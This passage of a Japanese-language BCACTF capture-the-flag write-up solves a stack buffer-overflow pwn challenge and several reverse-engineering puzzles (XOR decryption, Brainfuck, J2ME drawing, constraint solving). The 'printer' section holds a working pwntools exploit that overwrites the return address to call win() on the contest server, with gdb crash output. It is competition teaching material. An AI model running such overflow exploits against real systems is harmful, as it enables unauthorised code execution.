    } while ((*((int *)&v2) = ((v5 & 15) < 10 ? v6 + 48 : v6 + 55), v2 += 1, v3 = v4 - 1, v4 - 1));
    write(1, "0x00000000", 10);
    write(1, "\n0x00000000", 1);
    write(1, "Input: ", 8);
    v8 = open("./flag.txt", 0, 8);
    read(v8, &flag, 35);
    close(v8);
    func();
    exit(0); /* do not return */
}

void func()
{
    char v0[100];  // [bp-0x68]

    read(0, &v0, 200);
    return;
}

extern char flag;

int win()
{
    write(1, &flag, 35);
}
$ gdb -q ./printer
Reading symbols from ./printer...
(No debugging symbols found in ./printer)
gdb-peda$ pattc 128
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/printer 
0x00000000
Input: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
EAX: 0x81 
EBX: 0x0 
ECX: 0xffffcf00 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n\321\377\377\237\321\377\377\263\321\377\377\326\321\377\377\f\322\377\377-\322\377\377:\322\377\377X\322\377\377t\322\377\377\206\322\377\377\242\322\377\377\262\322\377\377\303\322\377\377\315\322\377\377\332\322\377\377\353\322\377\377x\323\377\377\226\323\377\377"...)
EDX: 0xc8 
ESI: 0x3 
EDI: 0xa ('\n')
EBP: 0x41684141 ('AAhA')
ESP: 0xffffcf6c ("MAAiAA8AANAAjAA9AAOA\n\321\377\377\237\321\377\377\263\321\377\377\326\321\377\377\f\322\377\377-\322\377\377:\322\377\377X\322\377\377t\322\377\377\206\322\377\377\242\322\377\377\262\322\377\377\303\322\377\377\315\322\377\377\332\322\377\377\353\322\377\377x\323\377\377\226\323\377\377\261\323\377\377\306\323\377\377\331\323\377\377\367\323\377\377\b\324\377\377#\324\377\377q\324\377\377\204\324\377\377\214\324\377\377\237\324\377\377\316\324\377\377\342\324\377\377\354\324\377\377\367\324\377\377\031\325\377\377:\325\377\377S\325\377\377v\325\377\377\217\325\377\377\327\325\377\377\a\326\377\377\035\326\377\377<\326\377\377K\326\377\377\177\326\377\377\226\326\377\377\273\326\377\377"...)
EIP: 0x41413741 ('A7AA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41413741
[------------------------------------stack-------------------------------------]
0000| 0xffffcf6c ("MAAiAA8AANAAjAA9AAOA\n\321\377\377\237\321\377\377\263\321\377\377\326\321\377\377\f\322\377\377-\322\377\377:\322\377\377X\322\377\377t\322\377\377\206\322\377\377\242\322\377\377\262\322\377\377\303\322\377\377\315\322\377\377\332\322\377\377\353\322\377\377x\323\377\377\226\323\377\377\261\323\377\377\306\323\377\377\331\323\377\377\367\323\377\377\b\324\377\377#\324\377\377q\324\377\377\204\324\377\377\214\324\377\377\237\324\377\377\316\324\377\377\342\324\377\377\354\324\377\377\367\324\377\377\031\325\377\377:\325\377\377S\325\377\377v\325\377\377\217\325\377\377\327\325\377\377\a\326\377\377\035\326\377\377<\326\377\377K\326\377\377\177\326\377\377\226\326\377\377\273\326\377\377"...)
0004| 0xffffcf70 ("AA8AANAAjAA9AAOA\n\321\377\377\237\321\377\377\263\321\377\377\326\321\377\377\f\322\377\377-\322\377\377:\322\377\377X\322\377\377t\322\377\377\206\322\377\377\242\322\377\377\262\322\377\377\303\322\377\377\315\322\377\377\332\322\377\377\353\322\377\377x\323\377\377\226\323\377\377\261\323\377\377\306\323\377\377\331\323\377\377\367\323\377\377\b\324\377\377#\324\377\377q\324\377\377\204\324\377\377\214\324\377\377\237\324\377\377\316\324\377\377\342\324\377\377\354\324\377\377\367\324\377\377\031\325\377\377:\325\377\377S\325\377\377v\325\377\377\217\325\377\377\327\325\377\377\a\326\377\377\035\326\377\377<\326\377\377K\326\377\377\177\326\377\377\226\326\377\377\273\326\377\377\314\326\377\377"...)
0008| 0xffffcf74 ("ANAAjAA9AAOA\n\321\377\377\237\321\377\377\263\321\377\377\326\321\377\377\f\322\377\377-\322\377\377:\322\377\377X\322\377\377t\322\377\377\206\322\377\377\242\322\377\377\262\322\377\377\303\322\377\377\315\322\377\377\332\322\377\377\353\322\377\377x\323\377\377\226\323\377\377\261\323\377\377\306\323\377\377\331\323\377\377\367\323\377\377\b\324\377\377#\324\377\377q\324\377\377\204\324\377\377\214\324\377\377\237\324\377\377\316\324\377\377\342\324\377\377\354\324\377\377\367\324\377\377\031\325\377\377:\325\377\377S\325\377\377v\325\377\377\217\325\377\377\327\325\377\377\a\326\377\377\035\326\377\377<\326\377\377K\326\377\377\177\326\377\377\226\326\377\377\273\326\377\377\314\326\377\377\006\327\377\377"...)
0012| 0xffffcf78 ("jAA9AAOA\n\321\377\377\237\321\377\377\263\321\377\377\326\321\377\377\f\322\377\377-\322\377\377:\322\377\377X\322\377\377t\322\377\377\206\322\377\377\242\322\377\377\262\322\377\377\303\322\377\377\315\322\377\377\332\322\377\377\353\322\377\377x\323\377\377\226\323\377\377\261\323\377\377\306\323\377\377\331\323\377\377\367\323\377\377\b\324\377\377#\324\377\377q\324\377\377\204\324\377\377\214\324\377\377\237\324\377\377\316\324\377\377\342\324\377\377\354\324\377\377\367\324\377\377\031\325\377\377:\325\377\377S\325\377\377v\325\377\377\217\325\377\377\327\325\377\377\a\326\377\377\035\326\377\377<\326\377\377K\326\377\377\177\326\377\377\226\326\377\377\273\326\377\377\314\326\377\377\006\327\377\377\033\327\377\377"...)
0016| 0xffffcf7c ("AAOA\n\321\377\377\237\321\377\377\263\321\377\377\326\321\377\377\f\322\377\377-\322\377\377:\322\377\377X\322\377\377t\322\377\377\206\322\377\377\242\322\377\377\262\322\377\377\303\322\377\377\315\322\377\377\332\322\377\377\353\322\377\377x\323\377\377\226\323\377\377\261\323\377\377\306\323\377\377\331\323\377\377\367\323\377\377\b\324\377\377#\324\377\377q\324\377\377\204\324\377\377\214\324\377\377\237\324\377\377\316\324\377\377\342\324\377\377\354\324\377\377\367\324\377\377\031\325\377\377:\325\377\377S\325\377\377v\325\377\377\217\325\377\377\327\325\377\377\a\326\377\377\035\326\377\377<\326\377\377K\326\377\377\177\326\377\377\226\326\377\377\273\326\377\377\314\326\377\377\006\327\377\377\033\327\377\377&\327\377\377"...)
0020| 0xffffcf80 --> 0xffffd10a --> 0x1affff 
0024| 0xffffcf84 --> 0xffffd19f ("COLORTERM=truecolor")
0028| 0xffffcf88 --> 0xffffd1b3 ("COMMAND_NOT_FOUND_INSTALL_PROMPT=1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41413741 in ?? ()
gdb-peda$ patto A7AA
A7AA found at offset: 104

BOFでwin関数をコールする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('challs.bcactf.com', 45619)
else:
    p = process('./printer')

elf = ELF('./printer')

win_addr = elf.symbols['win']

payload = b'A' * 104
payload += p32(win_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/kali/.cache/.pwntools-cache-3.11/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or /home/kali/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (4.12.0)
[+] Opening connection to challs.bcactf.com on port 45619: Done
[*] '/mnt/hgfs/Shared/printer'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
0x00000000
Input: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbd\x90\x04\x08'
\x00bcactf{o0p$_mY_pR!n73R_br0ke_fhu}
\x00
[*] Closed connection to challs.bcactf.com port 45619
bcactf{o0p$_mY_pR!n73R_br0ke_fhu}

malware (rev 50)

$ md5sum malw                                   
1d8318739d9db3f1189d9e45c60d1d18  malw

VirusTotalでこのハッシュ値を調べる。
以下のページのNamesの一覧の最後にフラグが書いてあった。

https://www.virustotal.com/gui/file/38fa4c9f25cad02d9261e0ba0dbc371f072cb7c64228dba910676bce33b16933/details
bcactf{wtf_fake_malware_thx_virustotal}

skibidi (rev 50)

調べると以下のページが見つかり、skibidi langなるものがあることがわかる。

https://github.com/Gen-Alpha-Inc/skibidi-lang

ここのbf_skibidi_converter.rsを見ると、Brainf*ckで以下のように対応していることがわかる。

">": "skibidi "
"<": "rizz "
"+": "sigma "
"-": "gyatt "
".": "yap "
",": "blud "
"[": "grimaceshake "
"]": "fanumtax "

Language Specに"ohio"を"yap"に置換していると記載されていることに注意し、Brainf*ckで使われる記号に置換する。

--[----->+<]>----.+.--.++.-[--->+<]>--.+++[->+++<]>+.+[----->+<]>.-[++>---<]>--.----.+++++.[->++<]>+.-[-->+<]>--.----[->++<]>-.-[->++++++<]>+.----.+++++.[->++<]>+.-[-->+<]>--.----[->++<]>-.+[-->+<]>.[----->+<]>--.---------------.[----->+++<]>--.+[--->+<]>.[-->+<]>-.---[->++<]>-.[--->+<]>++.+[++>---<]>.---..-[->++<]>-.[--->+<]>++.+[->+++<]>.[-->+<]>----.[->++<]>-.+[-->+<]>+.++++.-----[->++<]>-.[----->+++<]>--.+[--->+<]>.[-->+<]>-.---[->++<]>-.-[->++++++<]>+.[->++<]>+.-[-->+<]>----.+++++++.-------.+[->++<]>.[-->+<]>-.++.++.++.++[--->+++++<]>.+[-->+<]>.-[--->+<]>+.-------.[----->+++<]>--.+[--->+<]>.[-->+<]>-.+++[->++<]>+.--------------.-[->++++++<]>.---..>--[-->+++<]>.

https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行すると、フラグが表示された。

bcactf{516m4_516m4_0n_7h3_w411_wh0_15_7h3_5k181d1357_0f_7h3m_411}

My Nokia Broke (rev 75)

BytecodeViewerでデコンパイルする。

import javax.microedition.lcdui.Command;
import javax.microedition.lcdui.CommandListener;
import javax.microedition.lcdui.Display;
import javax.microedition.lcdui.Displayable;
import javax.microedition.lcdui.Form;
import javax.microedition.lcdui.TextField;
import javax.microedition.midlet.MIDlet;
import javax.microedition.midlet.MIDletStateChangeException;

public class AppMIDlet extends MIDlet implements CommandListener {
   private static final Command PASSWD_COMMAND = new Command("Enter Password", 8, 1);
   Form form;
   TextField textField;
   FlagCanvas fc = new FlagCanvas();

   protected void startApp() throws MIDletStateChangeException {
      this.form = new Form("");
      this.textField = new TextField("Enter Password:", "", 10, 65536);
      this.form.addCommand(PASSWD_COMMAND);
      this.form.setCommandListener(this);
      this.form.append(this.textField);
      Display.getDisplay(this).setCurrent(this.form);
   }

   protected void pauseApp() {
   }

   protected void destroyApp(boolean b) throws MIDletStateChangeException {
   }

   public void commandAction(Command command, Displayable displayable) {
      if (command == PASSWD_COMMAND && this.textField.getString().equals("This is a very long password OoOOoOOOoOOOoOOOoOoOooOooooOOOoo")) {
         Display.getDisplay(this).setCurrent(this.fc);
      }

   }
}

import javax.microedition.lcdui.Canvas;
import javax.microedition.lcdui.Graphics;

public class FlagCanvas extends Canvas {
   public void paint(Graphics graphics) {
      graphics.setColor(16711680);
      graphics.drawLine(140, 10, 160, 10);
      graphics.drawLine(110, 130, 110, 170);
      graphics.drawLine(50, 130, 50, 170);
      graphics.drawLine(10, 110, 30, 110);
      graphics.drawLine(105, 50, 120, 10);
      graphics.drawLine(180, 130, 180, 170);
      graphics.drawLine(50, 110, 70, 110);
      graphics.drawLine(20, 70, 20, 110);
      graphics.drawLine(160, 50, 160, 10);
      graphics.drawLine(90, 10, 105, 50);
      graphics.drawLine(50, 10, 70, 10);
      graphics.drawLine(10, 10, 30, 10);
      graphics.drawLine(120, 50, 120, 10);
      graphics.drawLine(150, 130, 150, 170);
      graphics.drawLine(140, 50, 160, 50);
      graphics.drawLine(10, 130, 30, 130);
      graphics.drawLine(90, 170, 110, 170);
      graphics.drawLine(50, 70, 50, 90);
      graphics.drawLine(30, 150, 20, 150);
      graphics.drawLine(30, 150, 30, 170);
      graphics.drawLine(90, 150, 110, 150);
      graphics.drawLine(50, 150, 70, 170);
      graphics.drawLine(20, 10, 20, 50);
      graphics.drawLine(140, 30, 160, 30);
      graphics.drawLine(20, 50, 10, 50);
      graphics.drawLine(70, 90, 70, 110);
      graphics.drawLine(50, 70, 70, 70);
      graphics.drawLine(170, 130, 190, 130);
      graphics.drawLine(50, 25, 50, 50);
      graphics.drawLine(10, 170, 30, 170);
      graphics.drawLine(10, 170, 10, 130);
      graphics.drawRect(50, 130, 20, 20);
      graphics.drawLine(90, 130, 110, 130);
      graphics.drawLine(70, 10, 70, 25);
      graphics.drawLine(150, 150, 130, 150);
      graphics.drawLine(50, 25, 70, 25);
      graphics.drawLine(10, 90, 20, 70);
      graphics.drawLine(90, 10, 90, 50);
      graphics.drawLine(130, 130, 130, 150);
      graphics.drawLine(70, 90, 50, 90);
      graphics.drawLine(50, 50, 70, 50);
   }
}

FlagCanvasで線を引いているようなので、この座標を元に線を引いていく。

#!/usr/bin/env python3
import matplotlib.pyplot as plt

plots = [
    [(140, 10), (160, 10)],
    [(110, 130), (110, 170)],
    [(50, 130), (50, 170)],
    [(10, 110), (30, 110)],
    [(105, 50), (120, 10)],
    [(180, 130), (180, 170)],
    [(50, 110), (70, 110)],
    [(20, 70), (20, 110)],
    [(160, 50), (160, 10)],
    [(90, 10), (105, 50)],
    [(50, 10), (70, 10)],
    [(10, 10), (30, 10)],
    [(120, 50), (120, 10)],
    [(150, 130), (150, 170)],
    [(140, 50), (160, 50)],
    [(10, 130), (30, 130)],
    [(90, 170), (110, 170)],
    [(50, 70), (50, 90)],
    [(30, 150), (20, 150)],
    [(30, 150), (30, 170)],
    [(90, 150), (110, 150)],
    [(50, 150), (70, 170)],
    [(20, 10), (20, 50)],
    [(140, 30), (160, 30)],
    [(20, 50), (10, 50)],
    [(70, 90), (70, 110)],
    [(50, 70), (70, 70)],
    [(170, 130), (190, 130)],
    [(50, 25), (50, 50)],
    [(10, 170), (30, 170)],
    [(10, 170), (10, 130)],
    [(50, 130), (20, 20)],
    [(90, 130), (110, 130)],
    [(70, 10), (70, 25)],
    [(150, 150), (130, 150)],
    [(50, 25), (70, 25)],
    [(10, 90), (20, 70)],
    [(90, 10), (90, 50)],
    [(130, 130), (130, 150)],
    [(70, 90), (50, 90)],
    [(50, 50), (70, 50)]
]

lines = []
for plot in plots:
    x = (plot[0][0], plot[1][0])
    y = (plot[0][1], plot[1][1])
    lines.append([x, y])

for x, y in lines:
    plt.plot(x, y, marker='o')

plt.title("flag")
plt.grid(True)
plt.gca().invert_yaxis()
plt.show()


一部線がおかしいが、以下のように書いてあるように見える。

J2M3
1S
GR34T
bcactf{J2M3_1S_GR34T}

Part by Part (rev 75)

jarファイルをBytecodeViewerでデコンパイルするが、特に何も見つからない。
ディスアセンブラのフレームを見ると、フラグが分割して記載されている。

public class Part1 {
     <ClassVersion=67>
     <SourceFile=bcactf{p4.java>
        :

public class Part2 {
     <ClassVersion=67>
     <SourceFile=rt_by_pa.java>

public class Part3 {
     <ClassVersion=67>
     <SourceFile=7t_8d2ia.java>

public class Part4 {
     <ClassVersion=67>
     <SourceFile=_m82d0lc}.java>
bcactf{p4rt_by_pa7t_8d2ia_m82d0lc}

5d printing (rev 100)

以下のようになっているようだ。

G5D_MOVE: 線の開始点(前の点から線は引かない)
G5D_DRAW: 前の点から線を引く

Uの数値の昇順で上記の命令を実行すればよい。

#!/usr/bin/env python3
import matplotlib.pyplot as plt

with open('flag.5mf', 'r') as f:
    lines = f.read().splitlines()

commands = []
for line in lines:
    if line.startswith('G5D_DRAW') or line.startswith('G5D_MOVE'):
        parts = line.split()
        cmd = parts[0]
        args = {p[0]: float(p[1:]) for p in parts[1:]}
        commands.append((args['U'], cmd, args['X'], args['Y']))

commands.sort()

fig, ax = plt.subplots(figsize=(10, 2))
pen_down = False
last_x, last_y = 0, 0

for _, cmd, x, y in commands:
    if cmd == 'G5D_MOVE':
        pen_down = False
    elif cmd == 'G5D_DRAW':
        if pen_down:
            ax.plot([last_x, x], [last_y, y], color='black')
        pen_down = True
    last_x, last_y = x, y

ax.set_aspect('equal')
plt.axis('off')
plt.show()

実行した画像にフラグが書いてあった。

bcactf{7h47_f3311n6_wh3n_my_3d_pr1n73r_cr05535_71m311n35}

bfffl (rev 100)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  bool bVar1;
  bool bVar2;
  bool bVar3;
  ostream *poVar4;
  undefined8 uVar5;
  undefined8 uVar6;
  vector local_168 [32];
  string local_148 [32];
  vector<> local_128 [32];
  string local_108 [32];
  string local_e8 [32];
  string local_c8 [32];
  string local_a8 [43];
  allocator local_7d;
  allocator local_7c;
  allocator local_7b;
  allocator local_7a;
  __new_allocator<> local_79;
  vector local_78 [32];
  __new_allocator<> *local_58;
  allocator *local_50;
  allocator *local_48;
  allocator *local_40;
  allocator *local_38;
  char local_29;
  
  local_29 = '\0';
  bVar2 = false;
  bVar1 = false;
  if (1 < param_1) {
    local_38 = &local_7d;
    bVar2 = true;
                    /* try { // try from 0040273c to 0040275a has its CatchHandler @ 00402a0e */
    std::string::string<>(local_a8,(char *)param_2[1],&local_7d);
    bVar1 = true;
    bVar3 = std::operator==(local_a8,"--access");
    if (bVar3) {
      bVar3 = true;
      goto LAB_0040276d;
    }
  }
  bVar3 = false;
LAB_0040276d:
  if (bVar1) {
    std::string::~string(local_a8);
  }
  if (bVar2) {
    std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_7d);
  }
  if (bVar3) {
    local_29 = '\x01';
  }
  if (local_29 == '\x01') {
    if (param_1 < 5) {
      poVar4 = std::operator<<((ostream *)std::cerr,"Usage: ");
      poVar4 = std::operator<<(poVar4,(char *)*param_2);
      std::operator<<(poVar4," --access <username1> <username2> <text_to_encrypt>\n");
      uVar6 = 1;
    }
    else {
      local_40 = &local_7c;
                    /* try { // try from 0040283c to 00402840 has its CatchHandler @ 00402a44 */
      std::string::string<>(local_c8,(char *)param_2[2],&local_7c);
      std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_7c);
      local_48 = &local_7b;
                    /* try { // try from 00402877 to 0040287b has its CatchHandler @ 00402a5f */
      std::string::string<>(local_e8,(char *)param_2[3],&local_7b);
      std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_7b);
      local_50 = &local_7a;
                    /* try { // try from 004028b2 to 004028b6 has its CatchHandler @ 00402a74 */
      std::string::string<>(local_108,(char *)param_2[4],&local_7a);
      std::__new_allocator<char>::~__new_allocator((__new_allocator<char> *)&local_7a);
      local_58 = &local_79;
      uVar6 = std::string::end();
      uVar5 = std::string::begin();
                    /* try { // try from 00402906 to 0040290a has its CatchHandler @ 00402a86 */
      std::vector<>::vector<>(local_128,uVar5,uVar6,&local_79);
      std::__new_allocator<>::~__new_allocator(&local_79);
                    /* try { // try from 00402933 to 00402937 has its CatchHandler @ 00402ad1 */
      generateKey(local_148,local_c8);
                    /* try { // try from 00402953 to 00402957 has its CatchHandler @ 00402abd */
      encryptText(local_168,(vector *)local_128);
                    /* try { // try from 00402962 to 0040297f has its CatchHandler @ 00402aa9 */
      poVar4 = std::operator<<((ostream *)std::cout,"Encrypted Text: ");
      toHex[abi:cxx11](local_78);
                    /* try { // try from 0040298a to 0040299b has its CatchHandler @ 00402a98 */
      poVar4 = std::operator<<(poVar4,(string *)local_78);
      std::ostream::operator<<(poVar4,std::endl<>);
      std::string::~string((string *)local_78);
      uVar6 = 0;
      std::vector<>::~vector((vector<> *)local_168);
      std::vector<>::~vector((vector<> *)local_148);
      std::vector<>::~vector(local_128);
      std::string::~string(local_108);
      std::string::~string(local_e8);
      std::string::~string(local_c8);
    }
  }
  else {
    poVar4 = std::operator<<((ostream *)std::cout,
                             "Access Denied! Please provide the correct flag to proceed.");
    std::ostream::operator<<(poVar4,std::endl<>);
    uVar6 = 1;
  }
  return uVar6;
}

vector * encryptText(vector *param_1,vector *param_2)

{
  byte bVar1;
  byte bVar2;
  ulong uVar3;
  byte *pbVar4;
  vector<> *in_RDX;
  allocator local_29;
  allocator *local_28;
  ulong local_20;
  
  local_28 = &local_29;
  uVar3 = std::vector<>::size((vector<> *)param_2);
                    /* try { // try from 00402544 to 00402548 has its CatchHandler @ 004025de */
  std::vector<>::vector((vector<> *)param_1,uVar3,&local_29);
  std::__new_allocator<>::~__new_allocator((__new_allocator<> *)&local_29);
  local_20 = 0;
  while( true ) {
    uVar3 = std::vector<>::size((vector<> *)param_2);
    if (uVar3 <= local_20) break;
    pbVar4 = (byte *)std::vector<>::operator[]((vector<> *)param_2,local_20);
    bVar1 = *pbVar4;
    uVar3 = std::vector<>::size(in_RDX);
    pbVar4 = (byte *)std::vector<>::operator[](in_RDX,local_20 % uVar3);
    bVar2 = *pbVar4;
    pbVar4 = (byte *)std::vector<>::operator[]((vector<> *)param_1,local_20);
    *pbVar4 = bVar1 ^ bVar2;
    local_20 = local_20 + 1;
  }
  return param_1;
}

XORで暗号化しているが、少なくとも同じユーザ名であればXOR鍵は同じになりそう。暗号文と同じ長さの適当な平文で暗号化をしてみる。

$ ./bfffl --access "hun73r12" "__purten75" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Encrypted Text: 2b766f548155533915762b766f548155533915762b766f548155533915762b766f548155533915762b766f548155533915762b766f5481555339
>>> from Crypto.Util.strxor import strxor
>>> pt = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
>>> ct = '2b766f548155533915762b766f548155533915762b766f548155533915762b766f548155533915762b766f548155533915762b766f5481555339'
>>> ct = bytes.fromhex(ct)
>>> enc_flag = '08544f76b472694f3c03045c1b4aa6246027635f59684626f1644d016442355a5b20f74b2a4b0b5a13684026b74b2a4b610035515c24f37a7605'
>>> enc_flag = bytes.fromhex(enc_flag)
>>> key = strxor(pt, ct)
>>> flag = strxor(enc_flag, key).decode()
>>> flag
'bcactf{7h4nk5_f0r_7h3_h31p_y0u_mu57_83_my_n3w_8357_fr13nd}'
bcactf{7h4nk5_f0r_7h3_h31p_y0u_mu57_83_my_n3w_8357_fr13nd}

optimize me 1 (rev 100)

Ghidraでデコンパイルする。

int main(void)

{
  puts("CTF Challenge: Optimization Master");
  puts("===================================\n");
  puts("This program will eventually print the flag, but it\'s REALLY slow...");
  puts("Your goal: Optimize the binary to get the flag faster!\n");
  waste_time();
  decrypt_and_print_flag();
  return 0;
}

void decrypt_and_print_flag(void)

{
  uchar uVar1;
  void *__ptr;
  int i;
  char *flag;
  
  puts("\n==================================================");
  puts("DECRYPTION SEQUENCE INITIATED");
  puts("==================================================");
  __ptr = malloc(0x21);
  if (__ptr == (void *)0x0) {
    puts("Memory allocation failed!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  puts("Applying cryptographic transformations...");
  for (i = 0; i < 0x20; i = i + 1) {
    usleep(100000);
    printf("Decrypting byte %d/%d...\r",(ulong)(i + 1),0x20);
    fflush(stdout);
    uVar1 = decrypt_byte(encrypted_flag[i],i);
    *(uchar *)((long)__ptr + (long)i) = uVar1;
  }
  *(undefined1 *)((long)__ptr + 0x20) = 0;
  puts("\n\nDECRYPTION COMPLETE!");
  printf("FLAG: %s\n",__ptr);
  free(__ptr);
  return;
}

uchar decrypt_byte(uchar encrypted_byte,int position)

{
  int position_local;
  uchar encrypted_byte_local;
  int key;
  
  return encrypted_byte ^ (byte)((position * 0x25 + 0x2a) % 0x100);
}

                             encrypted_flag                                  XREF[3]:     Entry Point(*), 
                                                                                          decrypt_and_print_flag:0010186a(
                                                                                          decrypt_and_print_flag:00101871(
        00102020 48 2c 15        uchar[32]  "H,",15h,FAh,CAh,85h,"s",1Dh,"\"",03h,ADh,ACh,
                 fa ca 85 
                 73 1d 22 
           00102020 [0]            'H', ',', 15h, FAh,
           00102024 [4]            CAh, 85h, 's', 1Dh,
           00102028 [8]            '"', 03h, ADh, ACh,
           0010202c [12]           D7h, 'q', 04h, '!',
           00102030 [16]           'K', AFh, AAh, B6h,
           00102034 [20]           'c','\a', '+','\t',
           00102038 [24]           91h, B5h, B3h, '#',
           0010203c [28]           06h, 'i', B5h, D8h

このことから、暗号文を1文字ずつそのインデックスを使ってdecrypt_byteの処理を実行し、結合していけば、フラグになる。

#!/usr/bin/env python3
def decrypt_byte(c, i):
    return c ^ ((i * 0x25 + 0x2a) % 0x100)

with open('slow_flag', 'rb') as f:
    enc = f.read()[0x2020:0x2040]

flag = ''
for i, c in enumerate(enc):
    d = decrypt_byte(c, i)
    flag += chr(d)
print(flag)
bcactf{0pt1m1z4t10n_m4st3r_2025}

math-checker (rev 100)

Decompiler Explorer(https://dogbolt.org/)でデコンパイルする。angrでは以下のようになっている。

extern char buf;
extern char g_804a001;
extern char g_804a002;
extern char g_804a003;
extern char g_804a004;
extern char g_804a005;
extern char g_804a006;
extern char g_804a007;
extern char g_804a008;
extern char g_804a009;

void _start()
{
    unsigned int v0;  // [bp-0x4]
    unsigned int v2;  // eax
    unsigned int v3;  // eax
    unsigned int v4;  // eax
    unsigned int v5;  // eax
    unsigned int v6;  // eax
    unsigned int v7;  // eax

    read(0, &buf, 10);
    v2 = (g_804a001 - 48) * 5;
    if ((char)v2 == 40)
    {
        v0 = v2;
        v3 = (g_804a002 - 48) * 2 * 8 + 2;
        if (((int)((0 CONCAT v3) % 26) CONCAT (int)((0 CONCAT v3) / 26)) == 5 && !((int)((0 CONCAT v3) % 26) CONCAT (int)((0 CONCAT v3) / 26)) >> 32 && buf == 49)
        {
            v4 = v0 + (g_804a003 - 48) * 10 + g_804a004 - 48;
            if (((int)((0 CONCAT v4) % 19) CONCAT (int)((0 CONCAT v4) / 19)) == 7 && !((int)((0 CONCAT v4) % 19) CONCAT (int)((0 CONCAT v4) / 19)) >> 32)
            {
                v5 = (g_804a006 - 48) * 5;
                if ((char)v5 == 40)
                {
                    v0 = v5;
                    v6 = (g_804a007 - 48) * 2 * 8 + 2;
                    if (((int)((0 CONCAT v6) % 26) CONCAT (int)((0 CONCAT v6) / 26)) == 5 && !((int)((0 CONCAT v6) % 26) CONCAT (int)((0 CONCAT v6) / 26)) >> 32 && g_804a005 == 50)
                    {
                        v7 = v0 + (g_804a008 - 48) * 10 + g_804a009 - 48;
                        if (((int)((0 CONCAT v7) % 19) CONCAT (int)((0 CONCAT v7) / 19)) == 7 && !((int)((0 CONCAT v7) % 19) CONCAT (int)((0 CONCAT v7) / 19)) >> 32)
                        {
                            write(1, "A+", 2);
                            print_newline();
                            exit(0); /* do not return */
                        }
                    }
                }
            }
        }
    }
    write(1, "F", 1);
    print_newline();
    exit(1); /* do not return */
}

文字列を10バイト読み込み、条件を満たせば、"A+"と表示される。g_804a001~g_804a009がbuf[1]~buf[9]にあたると考えられる。

1つ目の条件は以下の式でv2が40になること。

v2 = (g_804a001 - 48) * 5

逆算すれば、以下の通りとなる。

g_804a001 = 56 = '8'

2つ目の条件は以下の通り。

・v3 = (g_804a002 - 48) * 2 * 8 + 2
・v3 / 26 == 5 && v3 % 26 == 0 && buf[0] == 49

逆算すれば、以下の通りとなる。

buf[0] = 49 = '1'
v3 = 130
g_804a002 = 56 = '8'

3つ目の条件は以下の通り。

・v4 = v2 + (g_804a003 - 48) * 10 + (g_804a004 - 48)
・v4 / 19 == 7 && v4 % 19 == 0

逆算すれば、以下の通りとなる。

v4 = 133
(g_804a003 - 48) * 10 + (g_804a004 - 48) == 93

さらに以下のようになる。

g_804a003 = '9'
g_804a004 = '3'

4つ目の条件は以下の式でv5が40になること。

v5 = (g_804a006 - 48) * 5

逆算すれば、以下の通りとなる。

g_804a006 = 56 = '8'

5つ目の条件は以下の通り。

・v6 = (g_804a007 - 48) * 2 * 8 + 2
・v6 / 26 == 5 && v6 % 26 == 0 && g_804a005 == 50

逆算すれば、以下の通りとなる。

g_804a005 = 50 = '2'
v6 = 130
g_804a007 = 56 = '8'

6つ目の条件は以下の通り。

・v7 = v2 + (g_804a008 - 48) * 10 + (g_804a009 - 48)
・v7 / 19 == 7 && v7 % 19 == 0

逆算すれば、以下の通りとなる。

v7 = 133
(g_804a008 - 48) * 10 + (g_804a009 - 48) == 93

さらに以下のようになる。

g_804a008 = '9'
g_804a009 = '3'

これまでわかった数値を並べると以下のようになり、この数字を入力すればよいことがわかる。

1889328893
bcactf{1889328893}

optimize me 2 (rev 200)

Ghidraでデコンパイルする。

int main(void)

{
  char *result;
  char *flag;
  
  result = (char *)malloc(0x1c);
  if (result != (char *)0x0) {
    decrypt_flag(result);
    puts("DECRYPTION COMPLETE!");
